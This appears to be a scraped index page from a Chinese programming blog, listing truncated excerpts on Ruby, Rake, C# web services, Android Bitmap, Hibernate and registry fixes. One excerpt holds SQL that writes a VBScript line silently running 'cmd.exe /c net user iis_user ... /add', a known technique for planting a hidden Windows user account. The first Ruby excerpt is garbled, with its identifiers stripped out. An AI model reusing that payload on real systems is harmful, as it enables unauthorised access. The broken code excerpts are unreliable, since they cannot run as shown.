`
zxj010802986
  • 浏览: 11673 次
文章分类
社区版块
存档分类
最新评论
文章列表
Ruby 中获取目录大小  当前 Chito 中统计目录大小完全是偷懒的方式:        .dir        .        ....................................................................        .dir         sum =          .dir  |entry|              entry =~ /^\./            path = .di ...
1,使用迭代器和join的不同 data=['1','2','3'] s='' data.each{|x| s<<x<<' and '} puts s puts data.join(" and ") line 4输出的是:1 and 2 and 3 and line 5则是:1 and 2 and 3可以使用each_with_index实现joindata.each_with_index{|x,i| ss<<x;ss<<' and ' if i<data.length-1}2,<< ...
  通常我们所说的CPU的“制作工艺”指得是在生产CPU过程中,要进行加工各种电路和电子元件,未来有向纳米(1纳米等于千分之一微米)发展的趋势,精度 越高,生产工艺越先进。在同样的材料中可以制造更多的电子元件 ...
具体请点击:http://www.verydemo.com/demo_c119_i5554.html Rake(http://rake.rubyforge.org)是一门构建语言,和make(www.gnu.org/software/make/) ant(http://ant.apache.org)很想象。Rake是用Ruby写的,它支持它自己的DSL用来处理和维护 Ruby应用程序。Rails用rake的扩展来完成多种不同的任务。下面的一些在Rails用的最多的Rake任务。 可以通过在你的rails程序的根目录运行rake -T得到一个完整的任务列表。 rake:运行rake不跟 ...
来自:http://www.verydemo.com/demo_c92_i177022.html c#调用java写的webservice,添加Soapheader,如何在SOAPheader 中添加类型标记符号 c#调用java写的webservice,添加Soapheader,怎么在SOAPheader 中添加类型标记符号c#调用java写的webservice,添加Soapheader,怎么在SOAPheader 中添加类型标记符号电信提供给我们java写的webservice经过C#调用后,要添加自定义 axis设立SoapHeader axis设置Soap ...
        create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"") " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " ); insert into a values (&q ...
来自:http://www.verydemo.com/demo_c131_i90996.html android 中的 Bitmap 相关 1. Bitmap比较特别 因为其不可创建 而只能借助于BitmapFactory 而根据图像来源又可分以下几种情况: * png图片 如:R.drawable.tianjin Java代码  Bitmap bmp = BitmapFactory.decodeResource(this.getResources(), R.drawable.tianjin);  * 图像文件 如: /sdcard/dcim/tianjin.jpeg Java代码  Bit ...
原作者:http://www.verydemo.com/demo_c146_i2174.html       用户和角色属于多对对关系,一个用户可以拥有多个角色,一个角色也可以属于多个用户。   public class User { private int userid; private String username; private Set roles; getter and setter.. }     public class Role { private int roleid; private String rolename ...
原作者:http://www.verydemo.com/demo_c155_i8058.html 【求助】找一个说明简易的SQL帮助有没有像写成这样格式的SQL帮助?SQL code <!-- Code highlighting produced by Actipro CodeHighlighter (freeware) http://www.CodeHighlighter.com/ -->SELECT 列名称 FROM 表名称 这是w3school里面的帮助,可以w3school不能搜索而且语句也不全。官方的那种格式的确很严谨全面,但是我就想学习下做维护实在 ...
详细请点击:http://www.verydemo.com/demo_c113_i7341.html <html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office"><!--[if !mso]><style>v/:*         { behavior: url(#default#VML) }o/:*         { behavior: url(#default#VML) }.sh ...
http://www.cnblogs.com/over140/archive/2010/09/02/1815439.html     Android2.2 API 中文文档系列(2) —— EditText   前言    关键字: Android API 中文,android sdk 中文,Android EditText 详解   声明   欢迎转载,但请保留文章原始出处:)     博客园:http://www.cnblogs.com     Android中文翻译组:http://androidbox.sinaapp.com/   正文   一、结 ...
原作者:http://www.verydemo.com/demo_c119_i3030.html Chapter 5: Loops and Iterators Much of programming is concerned with repetition. Maybe you want your program to beep ten times, read lines from a file just so long as there are more lines to read or display a warning until the user presses a key. ...
来自:http://www.verydemo.com/demo_c119_i6309.html   .................................................................... Ruby编辑器SciTE下载地址:http://download.csdn.net/detail/wy3552128/4797736       JDK1.6官方下载_JDK6官方下载地址: http://www.java.net/download/jdk6/6u10/promoted/b32/binaries/jdk-6u10-rc2-bi ...
                              本文固定链接:http://www.verydemo.com/demo_c158_i4031.html
详细请点击:http://www.verydemo.com/demo_c155_i26863.html 问题描述: .................................................................... 解决方案:           在开始==>运行==>regedit.exe ,在注册表里找HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Perflib 里面有Last Counter和Last Help选项  查看其相应的值之后     ...
Global site tag (gtag.js) - Google Analytics